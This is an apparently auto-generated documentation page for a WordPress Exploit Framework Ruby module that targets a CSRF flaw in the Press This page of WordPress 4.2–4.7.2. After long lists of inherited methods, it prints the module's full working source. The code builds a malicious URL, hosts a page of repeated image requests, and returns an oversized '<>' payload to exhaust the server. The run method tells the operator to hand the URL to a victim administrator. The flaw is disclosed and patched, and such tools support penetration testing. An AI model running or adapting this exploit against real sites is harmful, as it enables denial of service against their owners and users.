Class: Wpxf::Auxiliary::Wp472CsrfDos

Inherits:
Module
  • Object
show all
Includes:
WordPress::ReflectedXss
Defined in:
lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Xss

#upload_shell, #wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ Wp472CsrfDos

Returns a new instance of Wp472CsrfDos.



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 6

def initialize
  super

  update_info(
    name: 'WordPress 4.2-4.7.2 - CSRF DoS',
    desc: %(
      A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press This page of WordPress.
      This issue can be used to create a Denial of Service (DoS) condition if an authenticated
      administrator visits a malicious URL.
    ),
    author: [
      'Sipke Mellema', # Vulnerability disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '8770'],
      ['URL', 'https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/'],
      ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html']
    ],
    date: 'Mar 06 2017'
  )

  register_option(
    IntegerOption.new(
      name: 'request_count',
      required: true,
      desc: 'The number of requests to make',
      default: 50
    )
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 38

def check
  target_version = wordpress_version
  return :unknown if target_version.nil?

  version_vulnerable?(target_version, Gem::Version.new('4.7.3'), Gem::Version.new('4.2'))
end

#generate_payload_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 53

def generate_payload_url
  normalize_uri(wordpress_url_admin, "press-this.php?u=#{url_encode(xss_url)}#{url_encode('.txt')}&url-scan-submit=Scan&#{Utility::Text.rand_alpha(3)}=#{Utility::Text.rand_alpha(3)}")
end

#on_http_request(path, _params, _headers) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 57

def on_http_request(path, _params, _headers)
  if path == "/#{xss_path}"
    emit_info 'Starting DoS...'
    res = ''
    request_count.times do
      res = "#{res}<img src='#{generate_payload_url}'>"
    end

    { body: res, type: 'text/html' }
  else
    emit_info 'Sending DoS payload...'
    '<>' * 56_000_000
  end
end

#request_count ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 49

def request_count
  normalized_option_value('request_count')
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 72

def run
  return false unless super

  emit_info 'Provide the URL below to the victim to begin the denial of service'
  puts
  puts url_with_xss
  puts

  start_http_server
  true
end

#url_with_xss ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb', line 45

def url_with_xss
  xss_url
end